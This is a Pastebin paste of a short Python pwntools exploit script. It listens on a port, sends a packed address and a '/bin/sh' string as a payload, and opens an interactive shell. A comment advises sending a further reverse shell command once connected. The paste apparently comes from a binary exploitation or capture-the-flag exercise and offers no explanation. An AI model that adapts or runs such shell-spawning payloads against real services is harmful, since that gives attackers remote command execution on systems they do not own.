Guest User

Untitled

a guest
May 21st, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1. #!/usr/bin/env python2
  2.  
  3. from pwn import *
  4. import sys
  5.  
  6. recv = lambda x: io.recv(x)
  7. recvn = lambda x: io.recvn(x)
  8. recvl = lambda : io.recvline()
  9. recvu = lambda x: io.recvuntil(x)
  10. recvud = lambda x: io.recvuntil(x, drop=True)
  11. send = lambda x: io.send(x)
  12. sendl = lambda x: io.sendline(x)
  13.  
  14. if __name__ == "__main__":
  15. io = listen(0x1234)
  16. send(p64(0x601210)+p64(0)+"/bin/sh\x00")
  17. io.interactive() # Because the remote stdout is closed, you need to send another reverse shell command once connecting to the remote.
  18. sys.exit(0)
Add Comment
Please, Sign In to add comment